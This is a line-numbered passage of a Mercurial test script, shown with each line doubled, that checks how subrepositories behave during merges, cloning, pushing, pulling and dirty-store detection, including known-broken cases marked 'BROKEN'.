344 created new head
344 created new head
345 $ hg debugsub
345 $ hg debugsub
346 path s
346 path s
347 source s
347 source s
348 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
348 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
349
349
350 local removed, remote changed, keep changed
350 local removed, remote changed, keep changed
351
351
352 $ hg merge 6
352 $ hg merge 6
353 remote [merge rev] changed subrepository t which local [working copy] removed
353 remote [merge rev] changed subrepository t which local [working copy] removed
354 use (c)hanged version or (d)elete? c
354 use (c)hanged version or (d)elete? c
355 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
355 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
356 (branch merge, don't forget to commit)
356 (branch merge, don't forget to commit)
357 BROKEN: should include subrepo t
357 BROKEN: should include subrepo t
358 $ hg debugsub
358 $ hg debugsub
359 path s
359 path s
360 source s
360 source s
361 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
361 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
362 $ cat .hgsubstate
362 $ cat .hgsubstate
363 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
363 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
364 6747d179aa9a688023c4b0cad32e4c92bb7f34ad t
364 6747d179aa9a688023c4b0cad32e4c92bb7f34ad t
365 $ hg ci -m 'local removed, remote changed, keep changed'
365 $ hg ci -m 'local removed, remote changed, keep changed'
366 BROKEN: should include subrepo t
366 BROKEN: should include subrepo t
367 $ hg debugsub
367 $ hg debugsub
368 path s
368 path s
369 source s
369 source s
370 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
370 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
371 BROKEN: should include subrepo t
371 BROKEN: should include subrepo t
372 $ cat .hgsubstate
372 $ cat .hgsubstate
373 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
373 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
374 $ cat t/t
374 $ cat t/t
375 t2
375 t2
376
376
377 local removed, remote changed, keep removed
377 local removed, remote changed, keep removed
378
378
379 $ hg co -C 11
379 $ hg co -C 11
380 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
380 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
381 $ hg merge --config ui.interactive=true 6 <<EOF
381 $ hg merge --config ui.interactive=true 6 <<EOF
382 > d
382 > d
383 > EOF
383 > EOF
384 remote [merge rev] changed subrepository t which local [working copy] removed
384 remote [merge rev] changed subrepository t which local [working copy] removed
385 use (c)hanged version or (d)elete? d
385 use (c)hanged version or (d)elete? d
386 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
386 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
387 (branch merge, don't forget to commit)
387 (branch merge, don't forget to commit)
388 $ hg debugsub
388 $ hg debugsub
389 path s
389 path s
390 source s
390 source s
391 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
391 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
392 $ cat .hgsubstate
392 $ cat .hgsubstate
393 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
393 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
394 $ hg ci -m 'local removed, remote changed, keep removed'
394 $ hg ci -m 'local removed, remote changed, keep removed'
395 created new head
395 created new head
396 $ hg debugsub
396 $ hg debugsub
397 path s
397 path s
398 source s
398 source s
399 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
399 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
400 $ cat .hgsubstate
400 $ cat .hgsubstate
401 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
401 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
402
402
403 local changed, remote removed, keep changed
403 local changed, remote removed, keep changed
404
404
405 $ hg co -C 6
405 $ hg co -C 6
406 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
406 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
407 $ hg merge 11
407 $ hg merge 11
408 local [working copy] changed subrepository t which remote [merge rev] removed
408 local [working copy] changed subrepository t which remote [merge rev] removed
409 use (c)hanged version or (d)elete? c
409 use (c)hanged version or (d)elete? c
410 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
410 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
411 (branch merge, don't forget to commit)
411 (branch merge, don't forget to commit)
412 BROKEN: should include subrepo t
412 BROKEN: should include subrepo t
413 $ hg debugsub
413 $ hg debugsub
414 path s
414 path s
415 source s
415 source s
416 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
416 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
417 BROKEN: should include subrepo t
417 BROKEN: should include subrepo t
418 $ cat .hgsubstate
418 $ cat .hgsubstate
419 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
419 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
420 $ hg ci -m 'local changed, remote removed, keep changed'
420 $ hg ci -m 'local changed, remote removed, keep changed'
421 created new head
421 created new head
422 BROKEN: should include subrepo t
422 BROKEN: should include subrepo t
423 $ hg debugsub
423 $ hg debugsub
424 path s
424 path s
425 source s
425 source s
426 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
426 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
427 BROKEN: should include subrepo t
427 BROKEN: should include subrepo t
428 $ cat .hgsubstate
428 $ cat .hgsubstate
429 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
429 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
430 $ cat t/t
430 $ cat t/t
431 t2
431 t2
432
432
433 local changed, remote removed, keep removed
433 local changed, remote removed, keep removed
434
434
435 $ hg co -C 6
435 $ hg co -C 6
436 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
436 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
437 $ hg merge --config ui.interactive=true 11 <<EOF
437 $ hg merge --config ui.interactive=true 11 <<EOF
438 > d
438 > d
439 > EOF
439 > EOF
440 local [working copy] changed subrepository t which remote [merge rev] removed
440 local [working copy] changed subrepository t which remote [merge rev] removed
441 use (c)hanged version or (d)elete? d
441 use (c)hanged version or (d)elete? d
442 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
442 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
443 (branch merge, don't forget to commit)
443 (branch merge, don't forget to commit)
444 $ hg debugsub
444 $ hg debugsub
445 path s
445 path s
446 source s
446 source s
447 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
447 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
448 $ cat .hgsubstate
448 $ cat .hgsubstate
449 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
449 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
450 $ hg ci -m 'local changed, remote removed, keep removed'
450 $ hg ci -m 'local changed, remote removed, keep removed'
451 created new head
451 created new head
452 $ hg debugsub
452 $ hg debugsub
453 path s
453 path s
454 source s
454 source s
455 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
455 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
456 $ cat .hgsubstate
456 $ cat .hgsubstate
457 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
457 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
458
458
459 clean up to avoid having to fix up the tests below
459 clean up to avoid having to fix up the tests below
460
460
461 $ hg co -C 10
461 $ hg co -C 10
462 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
462 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
463 $ cat >> $HGRCPATH <<EOF
463 $ cat >> $HGRCPATH <<EOF
464 > [extensions]
464 > [extensions]
465 > strip=
465 > strip=
466 > EOF
466 > EOF
467 $ hg strip -r 11:15
467 $ hg strip -r 11:15
468 saved backup bundle to $TESTTMP/t/.hg/strip-backup/*-backup.hg (glob)
468 saved backup bundle to $TESTTMP/t/.hg/strip-backup/*-backup.hg (glob)
469
469
470 clone
470 clone
471
471
472 $ cd ..
472 $ cd ..
473 $ hg clone t tc
473 $ hg clone t tc
474 updating to branch default
474 updating to branch default
475 cloning subrepo s from $TESTTMP/t/s
475 cloning subrepo s from $TESTTMP/t/s
476 cloning subrepo s/ss from $TESTTMP/t/s/ss (glob)
476 cloning subrepo s/ss from $TESTTMP/t/s/ss (glob)
477 cloning subrepo t from $TESTTMP/t/t
477 cloning subrepo t from $TESTTMP/t/t
478 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
478 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
479 $ cd tc
479 $ cd tc
480 $ hg debugsub
480 $ hg debugsub
481 path s
481 path s
482 source s
482 source s
483 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
483 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
484 path t
484 path t
485 source t
485 source t
486 revision 20a0db6fbf6c3d2836e6519a642ae929bfc67c0e
486 revision 20a0db6fbf6c3d2836e6519a642ae929bfc67c0e
487
487
488 push
488 push
489
489
490 $ echo bah > t/t
490 $ echo bah > t/t
491 $ hg ci -m11
491 $ hg ci -m11
492 committing subrepository t
492 committing subrepository t
493 $ hg push
493 $ hg push
494 pushing to $TESTTMP/t (glob)
494 pushing to $TESTTMP/t (glob)
495 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
495 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
496 no changes made to subrepo s since last push to $TESTTMP/t/s
496 no changes made to subrepo s since last push to $TESTTMP/t/s
497 pushing subrepo t to $TESTTMP/t/t
497 pushing subrepo t to $TESTTMP/t/t
498 searching for changes
498 searching for changes
499 adding changesets
499 adding changesets
500 adding manifests
500 adding manifests
501 adding file changes
501 adding file changes
502 added 1 changesets with 1 changes to 1 files
502 added 1 changesets with 1 changes to 1 files
503 searching for changes
503 searching for changes
504 adding changesets
504 adding changesets
505 adding manifests
505 adding manifests
506 adding file changes
506 adding file changes
507 added 1 changesets with 1 changes to 1 files
507 added 1 changesets with 1 changes to 1 files
508
508
509 push -f
509 push -f
510
510
511 $ echo bah > s/a
511 $ echo bah > s/a
512 $ hg ci -m12
512 $ hg ci -m12
513 committing subrepository s
513 committing subrepository s
514 $ hg push
514 $ hg push
515 pushing to $TESTTMP/t (glob)
515 pushing to $TESTTMP/t (glob)
516 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
516 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
517 pushing subrepo s to $TESTTMP/t/s
517 pushing subrepo s to $TESTTMP/t/s
518 searching for changes
518 searching for changes
519 abort: push creates new remote head 12a213df6fa9! (in subrepo s)
519 abort: push creates new remote head 12a213df6fa9! (in subrepo s)
520 (merge or see 'hg help push' for details about pushing new heads)
520 (merge or see 'hg help push' for details about pushing new heads)
521 [255]
521 [255]
522 $ hg push -f
522 $ hg push -f
523 pushing to $TESTTMP/t (glob)
523 pushing to $TESTTMP/t (glob)
524 pushing subrepo s/ss to $TESTTMP/t/s/ss (glob)
524 pushing subrepo s/ss to $TESTTMP/t/s/ss (glob)
525 searching for changes
525 searching for changes
526 no changes found
526 no changes found
527 pushing subrepo s to $TESTTMP/t/s
527 pushing subrepo s to $TESTTMP/t/s
528 searching for changes
528 searching for changes
529 adding changesets
529 adding changesets
530 adding manifests
530 adding manifests
531 adding file changes
531 adding file changes
532 added 1 changesets with 1 changes to 1 files (+1 heads)
532 added 1 changesets with 1 changes to 1 files (+1 heads)
533 pushing subrepo t to $TESTTMP/t/t
533 pushing subrepo t to $TESTTMP/t/t
534 searching for changes
534 searching for changes
535 no changes found
535 no changes found
536 searching for changes
536 searching for changes
537 adding changesets
537 adding changesets
538 adding manifests
538 adding manifests
539 adding file changes
539 adding file changes
540 added 1 changesets with 1 changes to 1 files
540 added 1 changesets with 1 changes to 1 files
541
541
542 check that unmodified subrepos are not pushed
542 check that unmodified subrepos are not pushed
543
543
544 $ hg clone . ../tcc
544 $ hg clone . ../tcc
545 updating to branch default
545 updating to branch default
546 cloning subrepo s from $TESTTMP/tc/s
546 cloning subrepo s from $TESTTMP/tc/s
547 cloning subrepo s/ss from $TESTTMP/tc/s/ss (glob)
547 cloning subrepo s/ss from $TESTTMP/tc/s/ss (glob)
548 cloning subrepo t from $TESTTMP/tc/t
548 cloning subrepo t from $TESTTMP/tc/t
549 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
549 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
550
550
551 the subrepos on the new clone have nothing to push to its source
551 the subrepos on the new clone have nothing to push to its source
552
552
553 $ hg push -R ../tcc .
553 $ hg push -R ../tcc .
554 pushing to .
554 pushing to .
555 no changes made to subrepo s/ss since last push to s/ss (glob)
555 no changes made to subrepo s/ss since last push to s/ss (glob)
556 no changes made to subrepo s since last push to s
556 no changes made to subrepo s since last push to s
557 no changes made to subrepo t since last push to t
557 no changes made to subrepo t since last push to t
558 searching for changes
558 searching for changes
559 no changes found
559 no changes found
560 [1]
560 [1]
561
561
562 the subrepos on the source do not have a clean store versus the clone target
562 the subrepos on the source do not have a clean store versus the clone target
563 because they were never explicitly pushed to the source
563 because they were never explicitly pushed to the source
564
564
565 $ hg push ../tcc
565 $ hg push ../tcc
566 pushing to ../tcc
566 pushing to ../tcc
567 pushing subrepo s/ss to ../tcc/s/ss (glob)
567 pushing subrepo s/ss to ../tcc/s/ss (glob)
568 searching for changes
568 searching for changes
569 no changes found
569 no changes found
570 pushing subrepo s to ../tcc/s
570 pushing subrepo s to ../tcc/s
571 searching for changes
571 searching for changes
572 no changes found
572 no changes found
573 pushing subrepo t to ../tcc/t
573 pushing subrepo t to ../tcc/t
574 searching for changes
574 searching for changes
575 no changes found
575 no changes found
576 searching for changes
576 searching for changes
577 no changes found
577 no changes found
578 [1]
578 [1]
579
579
580 after push their stores become clean
580 after push their stores become clean
581
581
582 $ hg push ../tcc
582 $ hg push ../tcc
583 pushing to ../tcc
583 pushing to ../tcc
584 no changes made to subrepo s/ss since last push to ../tcc/s/ss (glob)
584 no changes made to subrepo s/ss since last push to ../tcc/s/ss (glob)
585 no changes made to subrepo s since last push to ../tcc/s
585 no changes made to subrepo s since last push to ../tcc/s
586 no changes made to subrepo t since last push to ../tcc/t
586 no changes made to subrepo t since last push to ../tcc/t
587 searching for changes
587 searching for changes
588 no changes found
588 no changes found
589 [1]
589 [1]
590
590
591 updating a subrepo to a different revision or changing
591 updating a subrepo to a different revision or changing
592 its working directory does not make its store dirty
592 its working directory does not make its store dirty
593
593
594 $ hg -R s update '.^'
594 $ hg -R s update '.^'
595 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
595 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
596 $ hg push
596 $ hg push
597 pushing to $TESTTMP/t (glob)
597 pushing to $TESTTMP/t (glob)
598 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
598 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
599 no changes made to subrepo s since last push to $TESTTMP/t/s
599 no changes made to subrepo s since last push to $TESTTMP/t/s
600 no changes made to subrepo t since last push to $TESTTMP/t/t
600 no changes made to subrepo t since last push to $TESTTMP/t/t
601 searching for changes
601 searching for changes
602 no changes found
602 no changes found
603 [1]
603 [1]
604 $ echo foo >> s/a
604 $ echo foo >> s/a
605 $ hg push
605 $ hg push
606 pushing to $TESTTMP/t (glob)
606 pushing to $TESTTMP/t (glob)
607 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
607 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
608 no changes made to subrepo s since last push to $TESTTMP/t/s
608 no changes made to subrepo s since last push to $TESTTMP/t/s
609 no changes made to subrepo t since last push to $TESTTMP/t/t
609 no changes made to subrepo t since last push to $TESTTMP/t/t
610 searching for changes
610 searching for changes
611 no changes found
611 no changes found
612 [1]
612 [1]
613 $ hg -R s update -C tip
613 $ hg -R s update -C tip
614 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
614 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
615
615
616 committing into a subrepo makes its store (but not its parent's store) dirty
616 committing into a subrepo makes its store (but not its parent's store) dirty
617
617
618 $ echo foo >> s/ss/a
618 $ echo foo >> s/ss/a
619 $ hg -R s/ss commit -m 'test dirty store detection'
619 $ hg -R s/ss commit -m 'test dirty store detection'
620
620
621 $ hg out -S -r `hg log -r tip -T "{node|short}"`
621 $ hg out -S -r `hg log -r tip -T "{node|short}"`
622 comparing with $TESTTMP/t (glob)
622 comparing with $TESTTMP/t (glob)
623 searching for changes
623 searching for changes
624 no changes found
624 no changes found
625 comparing with $TESTTMP/t/s
625 comparing with $TESTTMP/t/s
626 searching for changes
626 searching for changes
627 no changes found
627 no changes found
628 comparing with $TESTTMP/t/s/ss
628 comparing with $TESTTMP/t/s/ss
629 searching for changes
629 searching for changes
630 changeset: 1:79ea5566a333
630 changeset: 1:79ea5566a333
631 tag: tip
631 tag: tip
632 user: test
632 user: test
633 date: Thu Jan 01 00:00:00 1970 +0000
633 date: Thu Jan 01 00:00:00 1970 +0000
634 summary: test dirty store detection
634 summary: test dirty store detection
635
635
636 comparing with $TESTTMP/t/t
636 comparing with $TESTTMP/t/t
637 searching for changes
637 searching for changes
638 no changes found
638 no changes found
639
639
640 $ hg push
640 $ hg push
641 pushing to $TESTTMP/t (glob)
641 pushing to $TESTTMP/t (glob)
642 pushing subrepo s/ss to $TESTTMP/t/s/ss (glob)
642 pushing subrepo s/ss to $TESTTMP/t/s/ss (glob)
643 searching for changes
643 searching for changes
644 adding changesets
644 adding changesets
645 adding manifests
645 adding manifests
646 adding file changes
646 adding file changes
647 added 1 changesets with 1 changes to 1 files
647 added 1 changesets with 1 changes to 1 files
648 no changes made to subrepo s since last push to $TESTTMP/t/s
648 no changes made to subrepo s since last push to $TESTTMP/t/s
649 no changes made to subrepo t since last push to $TESTTMP/t/t
649 no changes made to subrepo t since last push to $TESTTMP/t/t
650 searching for changes
650 searching for changes
651 no changes found
651 no changes found
652 [1]
652 [1]
653
653
654 a subrepo store may be clean versus one repo but not versus another
654 a subrepo store may be clean versus one repo but not versus another
655
655
656 $ hg push
656 $ hg push
657 pushing to $TESTTMP/t (glob)
657 pushing to $TESTTMP/t (glob)
658 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
658 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
659 no changes made to subrepo s since last push to $TESTTMP/t/s
659 no changes made to subrepo s since last push to $TESTTMP/t/s
660 no changes made to subrepo t since last push to $TESTTMP/t/t
660 no changes made to subrepo t since last push to $TESTTMP/t/t
661 searching for changes
661 searching for changes
662 no changes found
662 no changes found
663 [1]
663 [1]
664 $ hg push ../tcc
664 $ hg push ../tcc
665 pushing to ../tcc
665 pushing to ../tcc
666 pushing subrepo s/ss to ../tcc/s/ss (glob)
666 pushing subrepo s/ss to ../tcc/s/ss (glob)
667 searching for changes
667 searching for changes
668 adding changesets
668 adding changesets
669 adding manifests
669 adding manifests
670 adding file changes
670 adding file changes
671 added 1 changesets with 1 changes to 1 files
671 added 1 changesets with 1 changes to 1 files
672 no changes made to subrepo s since last push to ../tcc/s
672 no changes made to subrepo s since last push to ../tcc/s
673 no changes made to subrepo t since last push to ../tcc/t
673 no changes made to subrepo t since last push to ../tcc/t
674 searching for changes
674 searching for changes
675 no changes found
675 no changes found
676 [1]
676 [1]
677
677
678 update
678 update
679
679
680 $ cd ../t
680 $ cd ../t
681 $ hg up -C # discard our earlier merge
681 $ hg up -C # discard our earlier merge
682 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
682 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
683 2 other heads for branch "default"
683 2 other heads for branch "default"
684 $ echo blah > t/t
684 $ echo blah > t/t
685 $ hg ci -m13
685 $ hg ci -m13
686 committing subrepository t
686 committing subrepository t
687
687
688 backout calls revert internally with minimal opts, which should not raise
688 backout calls revert internally with minimal opts, which should not raise
689 KeyError
689 KeyError
690
690
691 $ hg backout ".^" --no-commit
691 $ hg backout ".^" --no-commit
692 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
692 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
693 changeset c373c8102e68 backed out, don't forget to commit.
693 changeset c373c8102e68 backed out, don't forget to commit.
694
694
695 $ hg up -C # discard changes
695 $ hg up -C # discard changes
696 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
696 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
697 2 other heads for branch "default"
697 2 other heads for branch "default"
698
698
699 pull
699 pull
700
700
701 $ cd ../tc
701 $ cd ../tc
702 $ hg pull
702 $ hg pull
703 pulling from $TESTTMP/t (glob)
703 pulling from $TESTTMP/t (glob)
704 searching for changes
704 searching for changes
705 adding changesets
705 adding changesets
706 adding manifests
706 adding manifests
707 adding file changes
707 adding file changes
708 added 1 changesets with 1 changes to 1 files
708 added 1 changesets with 1 changes to 1 files
709 (run 'hg update' to get a working copy)
709 (run 'hg update' to get a working copy)
710
710
711 should pull t
711 should pull t
712
712
713 $ hg incoming -S -r `hg log -r tip -T "{node|short}"`
713 $ hg incoming -S -r `hg log -r tip -T "{node|short}"`
714 comparing with $TESTTMP/t (glob)
714 comparing with $TESTTMP/t (glob)
715 no changes found
715 no changes found
716 comparing with $TESTTMP/t/s
716 comparing with $TESTTMP/t/s
717 searching for changes
717 searching for changes
718 no changes found
718 no changes found
719 comparing with $TESTTMP/t/s/ss
719 comparing with $TESTTMP/t/s/ss
720 searching for changes
720 searching for changes
721 no changes found
721 no changes found
722 comparing with $TESTTMP/t/t
722 comparing with $TESTTMP/t/t
723 searching for changes
723 searching for changes
724 changeset: 5:52c0adc0515a
724 changeset: 5:52c0adc0515a
725 tag: tip
725 tag: tip
726 user: test
726 user: test
727 date: Thu Jan 01 00:00:00 1970 +0000
727 date: Thu Jan 01 00:00:00 1970 +0000
728 summary: 13
728 summary: 13
729
729
730
730
731 $ hg up
731 $ hg up
732 pulling subrepo t from $TESTTMP/t/t
732 pulling subrepo t from $TESTTMP/t/t
733 searching for changes
733 searching for changes
734 adding changesets
734 adding changesets
735 adding manifests
735 adding manifests
736 adding file changes
736 adding file changes
737 added 1 changesets with 1 changes to 1 files
737 added 1 changesets with 1 changes to 1 files
738 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
738 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
739 2 other heads for branch "default"
739 2 other heads for branch "default"
740 $ cat t/t
740 $ cat t/t
741 blah
741 blah
742
742
743 bogus subrepo path aborts
743 bogus subrepo path aborts
744
744
745 $ echo 'bogus=[boguspath' >> .hgsub
745 $ echo 'bogus=[boguspath' >> .hgsub
746 $ hg ci -m 'bogus subrepo path'
746 $ hg ci -m 'bogus subrepo path'
747 abort: missing ] in subrepo source
747 abort: missing ] in subrepo source
748 [255]
748 [255]
749
749
750 Issue1986: merge aborts when trying to merge a subrepo that
750 Issue1986: merge aborts when trying to merge a subrepo that
751 shouldn't need merging
751 shouldn't need merging
752
752
753 # subrepo layout
753 # subrepo layout
754 #
754 #
755 # o 5 br
755 # o 5 br
756 # /|
756 # /|
757 # o | 4 default
757 # o | 4 default
758 # | |
758 # | |
759 # | o 3 br
759 # | o 3 br
760 # |/|
760 # |/|
761 # o | 2 default
761 # o | 2 default
762 # | |
762 # | |
763 # | o 1 br
763 # | o 1 br
764 # |/
764 # |/
765 # o 0 default
765 # o 0 default
766
766
767 $ cd ..
767 $ cd ..
768 $ rm -rf sub
768 $ rm -rf sub
769 $ hg init main
769 $ hg init main
770 $ cd main
770 $ cd main
771 $ hg init s
771 $ hg init s
772 $ cd s
772 $ cd s
773 $ echo a > a
773 $ echo a > a
774 $ hg ci -Am1
774 $ hg ci -Am1
775 adding a
775 adding a
776 $ hg branch br
776 $ hg branch br
777 marked working directory as branch br
777 marked working directory as branch br
778 (branches are permanent and global, did you want a bookmark?)
778 (branches are permanent and global, did you want a bookmark?)
779 $ echo a >> a
779 $ echo a >> a
780 $ hg ci -m1
780 $ hg ci -m1
781 $ hg up default
781 $ hg up default
782 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
782 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
783 $ echo b > b
783 $ echo b > b
784 $ hg ci -Am1
784 $ hg ci -Am1
785 adding b
785 adding b
786 $ hg up br
786 $ hg up br
787 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
787 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
788 $ hg merge tip
788 $ hg merge tip
789 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
789 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
790 (branch merge, don't forget to commit)
790 (branch merge, don't forget to commit)
791 $ hg ci -m1
791 $ hg ci -m1
792 $ hg up 2
792 $ hg up 2
793 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
793 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
794 $ echo c > c
794 $ echo c > c
795 $ hg ci -Am1
795 $ hg ci -Am1
796 adding c
796 adding c
797 $ hg up 3
797 $ hg up 3
798 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
798 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
799 $ hg merge 4
799 $ hg merge 4
800 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
800 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
801 (branch merge, don't forget to commit)
801 (branch merge, don't forget to commit)
802 $ hg ci -m1
802 $ hg ci -m1
803
803
804 # main repo layout:
804 # main repo layout:
805 #
805 #
806 # * <-- try to merge default into br again
806 # * <-- try to merge default into br again
807 # .`|
807 # .`|
808 # . o 5 br --> substate = 5
808 # . o 5 br --> substate = 5
809 # . |
809 # . |
810 # o | 4 default --> substate = 4
810 # o | 4 default --> substate = 4
811 # | |
811 # | |
812 # | o 3 br --> substate = 2
812 # | o 3 br --> substate = 2
813 # |/|
813 # |/|
814 # o | 2 default --> substate = 2
814 # o | 2 default --> substate = 2
815 # | |
815 # | |
816 # | o 1 br --> substate = 3
816 # | o 1 br --> substate = 3
817 # |/
817 # |/
818 # o 0 default --> substate = 2
818 # o 0 default --> substate = 2
819
819
820 $ cd ..
820 $ cd ..
821 $ echo 's = s' > .hgsub
821 $ echo 's = s' > .hgsub
822 $ hg -R s up 2
822 $ hg -R s up 2
823 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
823 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
824 $ hg ci -Am1
824 $ hg ci -Am1
825 adding .hgsub
825 adding .hgsub
826 $ hg branch br
826 $ hg branch br
827 marked working directory as branch br
827 marked working directory as branch br
828 (branches are permanent and global, did you want a bookmark?)
828 (branches are permanent and global, did you want a bookmark?)
829 $ echo b > b
829 $ echo b > b
830 $ hg -R s up 3
830 $ hg -R s up 3
831 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
831 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
832 $ hg ci -Am1
832 $ hg ci -Am1
833 adding b
833 adding b
834 $ hg up default
834 $ hg up default
835 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
835 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
836 $ echo c > c
836 $ echo c > c
837 $ hg ci -Am1
837 $ hg ci -Am1
838 adding c
838 adding c
839 $ hg up 1
839 $ hg up 1
840 2 files updated, 0 files merged, 1 files removed, 0 files unresolved
840 2 files updated, 0 files merged, 1 files removed, 0 files unresolved
841 $ hg merge 2
841 $ hg merge 2
842 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
842 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
843 (branch merge, don't forget to commit)
843 (branch merge, don't forget to commit)
844 $ hg ci -m1
844 $ hg ci -m1
845 $ hg up 2
845 $ hg up 2
846 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
846 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
847 $ hg -R s up 4
847 $ hg -R s up 4
848 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
848 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
849 $ echo d > d
849 $ echo d > d
850 $ hg ci -Am1
850 $ hg ci -Am1
851 adding d
851 adding d
852 $ hg up 3
852 $ hg up 3
853 2 files updated, 0 files merged, 1 files removed, 0 files unresolved
853 2 files updated, 0 files merged, 1 files removed, 0 files unresolved
854 $ hg -R s up 5
854 $ hg -R s up 5
855 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
855 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
856 $ echo e > e
856 $ echo e > e
857 $ hg ci -Am1
857 $ hg ci -Am1
858 adding e
858 adding e
859
859
860 $ hg up 5
860 $ hg up 5
861 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
861 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
862 $ hg merge 4 # try to merge default into br again
862 $ hg merge 4 # try to merge default into br again
863 subrepository s diverged (local revision: f8f13b33206e, remote revision: a3f9062a4f88)
863 subrepository s diverged (local revision: f8f13b33206e, remote revision: a3f9062a4f88)
864 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
864 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
865 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
865 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
866 (branch merge, don't forget to commit)
866 (branch merge, don't forget to commit)
867 $ cd ..
867 $ cd ..
868
868
869 test subrepo delete from .hgsubstate
869 test subrepo delete from .hgsubstate
870
870
871 $ hg init testdelete
871 $ hg init testdelete
